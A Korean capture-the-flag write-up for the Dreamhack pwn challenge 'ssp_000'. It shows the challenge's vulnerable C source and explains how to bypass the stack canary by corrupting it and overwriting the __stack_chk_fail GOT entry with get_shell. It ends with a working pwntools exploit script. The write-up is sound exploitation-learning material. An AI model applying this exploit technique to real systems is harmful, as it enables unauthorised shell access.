← 전체 Write-Up

Pwn / Dreamhack

ssp_000

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

환경

ssp_000 — 실습 화면 1

  • 64bit
  • Canary ON
  • NX ON

실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

분석

1. 취약점 분석

  1. get_shell() 함수가 있다. BOF로 return address를 get_shell()로 덮으면 될 것이다.
  2. buf의 크기는 0x40인데 0x80을 입력받아서 BOF 취약점이 발생한다.
  3. 하지만 BOF 취약점만을 이용해 RET를 덮어버리면 Canary에 의해 프로그램이 강제종료 되므로 Canary를 우회하여야 한다.

2. 익스플로잇

익스플로잇 원리

카나리 보호 기법이 걸려있는데, 코드를 보면 카나리 릭을 할 수가 없어서 다른 방법을 사용해야 한다. 임의 쓰기 취약점이 존재하기 때문에, 일부러 카나리를 변조해서 __stack_chk_fail 함수가 실행되게 하고 __stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite를 하면 쉘을 띄울 수 있다. 익스플로잇 코드를 짤 때 주의할 점이 A의 갯수를 카나리 값을 변조할 만큼만 줘야 한다. A의 갯수를 너무 많이 주면 SIGSEGV오류만 발생하고 쉘이 뜨지 않는다.


익스플로잇 코드

from pwn import *

p=remote('host3.dreamhack.games', port_num)

e=ELF('./ssp_000')

get_shell = e.symbols['get_shell']
canary = e.got['__stack_chk_fail']

payload = "a"*88

p.send(payload)

p.sendlineafter('Addr : ', str(canary))

p.sendlineafter('Value : ', str(get_shell))

p.interactive()

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.

이미지 원본 출처